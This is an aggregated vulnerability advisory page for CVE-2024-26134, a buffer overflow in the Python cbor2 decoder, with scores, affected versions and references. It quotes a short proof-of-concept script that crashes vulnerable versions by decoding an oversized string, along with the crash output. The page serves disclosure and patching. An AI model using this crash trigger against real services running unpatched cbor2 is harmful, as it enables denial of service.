CVE-2024-26134
JSON

7.5high

CBOR2 decoder has potential buffer overflow

Severity
7.5high CVSS:3.1 by GitHub_M
Exploit likelihood
1.17% (higher than 68% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-375g-39jq-vq7mPYSEC-2024-155

Description

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.

Affected

Product or packageVersionsReported by
agronholm cbor2>= 5.5.1, < 5.6.2, from 5.5.1 before 5.6.2CVE List, NVD
cbor2 (PyPI)from 5.5.1 before 5.6.2, before 387755eacf0be35591a478d3c67fe10618a6d542, before 4de6991ba29bf2290d7b9d83525eda7d021873dfGitHub Advisory Database, PyPA Advisory Database
fedoraproject fedora38, 39, 40NVD

All scores

GitHub_M7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
PyPA Advisory Database7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Classification

CWE-120

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.

GitHub Advisory Database
Summary

Ever since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was not able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)

Details

PoC
import json
import concurrent.futures
import cbor2

def test():
    obj = "x" * 131128
    cbor_enc = cbor2.dumps(obj)
    return cbor2.loads(cbor_enc)

with concurrent.futures.ProcessPoolExecutor() as executor:
    future = executor.submit(test)
    print(future.result())
malloc(): unsorted double linked list corrupted
Traceback (most recent call last):
  File "test.py", line 14, in <module>
    print(future.result())
  File "/usr/lib/python3.9/concurrent/futures/_base.py", line 440, in result
    return self.__get_result()
  File "/usr/lib/python3.9/concurrent/futures/_base.py", line 389, in __get_result
    raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.

If one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.

import json
import cbor2

def test():
    obj = "x" * 131128
    cbor_enc = cbor2.dumps(obj)
    return cbor2.loads(cbor_enc)

print(test())
Traceback (most recent call last):
  File "test.py", line 12, in <module>
    print(test())
  File "test.py", line 9, in test
    return cbor2.loads(cbor_enc)
SystemError: <built-in function loads> returned NULL without setting an error
Impact

An attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.

NVD (es)

cbor2 proporciona codificación y decodificación para el formato de serialización de representación concisa de objetos binarios (CBOR) (RFC 8949). A partir de la versión 5.5.1 y antes de la versión 5.6.2, un atacante puede bloquear un servicio que utiliza cbor2 para analizar un binario CBOR enviando un objeto lo suficientemente largo. La versión 5.6.2 contiene un parche para este problema.

References

https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7madvisory, evidence, exploit, vendor-advisory, web
https://github.com/agronholm/cbor2/pull/204issue-tracking, report, web
https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542fix, product, web
https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873dffix, patch, web
https://github.com/agronholm/cbor2/releases/tag/5.6.2release-notes, web
https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ/article, mailing-list
https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5/article, mailing-list
https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY/article, mailing-list
https://nvd.nist.gov/vuln/detail/CVE-2024-26134advisory
https://github.com/agronholm/cbor2package
https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yamlweb
https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5web

Sources

SourceRecordLicence
CVE ListCVE-2024-26134 changed 2025-02-13CVE Terms of Use
GitHub Advisory DatabaseGHSA-375g-39jq-vq7m changed 2026-06-10CC-BY-4.0
NVDCVE-2024-26134 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2024-155 changed 2026-06-10CC-BY-4.0